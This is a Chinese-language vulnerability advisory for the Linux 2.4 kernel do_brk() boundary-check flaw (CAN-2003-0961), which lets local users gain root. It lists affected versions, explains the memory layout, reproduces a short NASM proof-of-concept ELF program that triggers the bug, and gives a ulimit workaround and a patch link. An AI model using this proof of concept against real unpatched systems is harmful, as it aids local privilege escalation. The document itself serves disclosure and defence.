Linux kernel do_brk()参数边界检查不充分漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2005-07-07
Linux kernel do_brk()参数边界检查不充分漏洞

发布日期: 2003-12-4
受影响系统:
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.4.18
- Conectiva Linux 8.0
- Debian Linux 3.0
- RedHat Linux 8.0
- RedHat Linux 7.3
- SuSE Linux 8.2
不受影响系统:
Linux kernel 2.4.23
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2003-0961

Linux是一款开放源代码操作系统。

Linux内核包含的do_brk()函数对参数缺少充分边界检查,本地安全者可以利用这个漏洞获得ROOT权限。

最近运行在X86机器的Linux内核运行在X86机器的物理内存管理使用简单平坦内存模型,每个用户进程内存地址范围为从0到TASK_SIZE字节。超过此内存的限制不能被用户访问,并包含此数据结构的内核代码。用户进程被分为几个逻辑段,成为虚拟内存区域,内核跟踪和管理用户进程的虚拟内存区域提供切当的内存管理和内存保护处理。

do_brk()是一个内部内核函数,用于间接调用管理进程的内存堆的增加和缩减(brk),它是一个mmap(2)系统调用的简化版本,只处理匿名映射(如未初始化数据),函数对其参数缺少正确的边界检查,可以利用建立任意大的虚拟内存区域,超过用户可访问的内存限制,因此此限制以上的内核内存会变成用户进程的一部分。

一般用户进程的内存分布类似如下:

bash$ cat /proc/self/maps
08048000-0804c000 r-xp 00000000 03:02 207935 /bin/cat
0804c000-0804d000 rw-p 00003000 03:02 207935 /bin/cat
0804d000-0804e000 rwxp 00000000 00:00 0
40000000-40015000 r-xp 00000000 03:02 207495 /lib/ld-2.3.2.so
40015000-40016000 rw-p 00014000 03:02 207495 /lib/ld-2.3.2.so
40016000-40017000 rw-p 00000000 00:00 0
40020000-40021000 rw-p 00000000 00:00 0
42000000-4212f000 r-xp 00000000 03:02 319985 /lib/tls/libc-2.3.2.so
4212f000-42132000 rw-p 0012f000 03:02 319985 /lib/tls/libc-2.3.2.so
42132000-42134000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0

do_brk()函数在ELF和a.out装载器及brk(2)函数调用,这是三个不同渠道可用于利用这个do_brk()漏洞,成功利用此漏洞,进程内存可包含一个大的内存映射,如:

080a5000-c891d000 rwxp 00000000 00:00 0

本地安全者可以利用这个漏洞完全控制系统,包括获得UID 0权限,修改内核代码和数据结构等。

<*来源:Paul Starzetz (paul@starzetz.de)
Wojciech Purczynski (cliph@isec.pl)

链接:http://isec.pl/vulnerabilities/isec-0012-do_brk.txt
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

Christophe Devine 提供了如下测试方法:

$ cat brk_poc.asm

; ref.: http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html

BITS 32

org 0xBFFFF000

ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1 ; e_ident
times 9 db 0
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx

ehdrsize equ $ - ehdr

phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $ ; p_vaddr
dd $ ; p_paddr
dd filesize ; p_filesz
dd 0x4000 ; p_memsz
dd 7 ; p_flags
dd 0x1000 ; p_align


phdrsize equ $ - phdr

_start:

mov eax, 162
mov ebx, timespec
int 0x80

mov eax, 1
mov ebx, 0
int 0x80

timespec dd 20,0

filesize equ $ - $

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用ulimit -d命令限制用户进程数据段大小可暂时修正此问题。

厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.23.bz2

图片内容